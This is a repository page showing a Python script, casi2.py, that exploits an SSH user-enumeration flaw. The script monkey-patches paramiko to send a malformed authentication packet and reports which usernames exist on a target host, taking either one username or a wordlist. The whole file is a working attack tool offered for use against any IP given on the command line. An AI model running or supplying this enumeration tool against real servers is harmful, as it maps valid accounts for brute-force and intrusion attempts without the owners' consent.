-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcasi2.py
147 lines (119 loc) · 4.68 KB
/
casi2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#!/usr/bin/env python3
import argparse
import logging
import os
import paramiko
import socket
import sys
class InvalidUsername(Exception):
pass
# malicious function to malform packet
def add_boolean(*args, **kwargs):
pass
# function that'll be overwritten to malform the packet
old_service_accept = paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT]
# malicious function to overwrite MSG_SERVICE_ACCEPT handler
def service_accept(*args, **kwargs):
paramiko.message.Message.add_boolean = add_boolean
return old_service_accept(*args, **kwargs)
# call when username was invalid
def invalid_username(*args, **kwargs):
raise InvalidUsername()
# assign functions to respective handlers
paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = service_accept
paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = invalid_username
# perform authentication with malicious packet and username
def check_user(username, target, port, rsa_key, timeout=60):
sock = socket.socket()
sock.settimeout(timeout)
transport = paramiko.transport.Transport(sock)
try:
sock.connect((target, int(port)))
except Exception as e:
print(f'[-] Connection error: {e}')
return
try:
transport.start_client()
except paramiko.ssh_exception.SSHException:
print('[!] Failed to negotiate SSH transport')
transport.close()
return
authenticated = False
try:
transport.auth_publickey(username, rsa_key)
except InvalidUsername:
print("[-] {} is an invalid username".format(username))
return False
except paramiko.ssh_exception.AuthenticationException:
print("[+] {} is a valid username".format(username))
return True
except paramiko.ssh_exception.SSHException as e:
print(f"[!] Error checking user {username}: {e}")
return False
finally:
transport.close()
return authenticated
def check_users_wordlist(wordlist, target, port, rsa_key, timeout=60):
if not os.path.isfile(wordlist):
print("[!] Wordlist file {} does not exist".format(wordlist))
return
with open(wordlist, "r") as f:
usernames = f.read().splitlines()
if not usernames:
print("[!] Wordlist file {} is empty".format(wordlist))
return
for username in usernames:
sock = socket.socket()
sock.settimeout(timeout)
transport = paramiko.transport.Transport(sock)
try:
sock.connect((target, int(port)))
except Exception as e:
print(f'[-] Connection error: {e}')
continue
try:
transport.start_client()
except paramiko.ssh_exception.SSHException:
print('[!] Failed to negotiate SSH transport')
transport.close()
continue
authenticated = False
try:
transport.auth_publickey(username, rsa_key)
except InvalidUsername:
print("[-] {} is an invalid username".format(username))
authenticated = False
except paramiko.ssh_exception.AuthenticationException:
print("[+] {} is a valid username".format(username))
authenticated = True
# Mostrar mensaje de usuario válido
print(f"[+] Valid username found: {username}")
except paramiko.ssh_exception.SSHException as e:
print(f"[!] Error checking user {username}: {e}")
authenticated = False
finally:
transport.close()
if authenticated:
pass
return False
def main(args):
rsa_key = paramiko.RSAKey.generate(2048)
if args.username:
check_user(args.username, args.target, args.port, rsa_key)
elif args.wordlist:
check_users_wordlist(args.wordlist, args.target, args.port, rsa_key)
else:
print('Please specify a username with -u or --username, or a wordlist with -w or --wordlist.')
sys.exit(1)
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='SSH User Enumeration by sergiovks (SezioS)')
parser.add_argument('target', help="IP address of the target system")
parser.add_argument('-p', '--port', default=22, help="Set port of SSH service")
parser.add_argument('-u', '--username', help="Username to check for validity.")
parser.add_argument('-w', '--wordlist', help="Path to a file containing a list of usernames, one per line.")
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
main(args)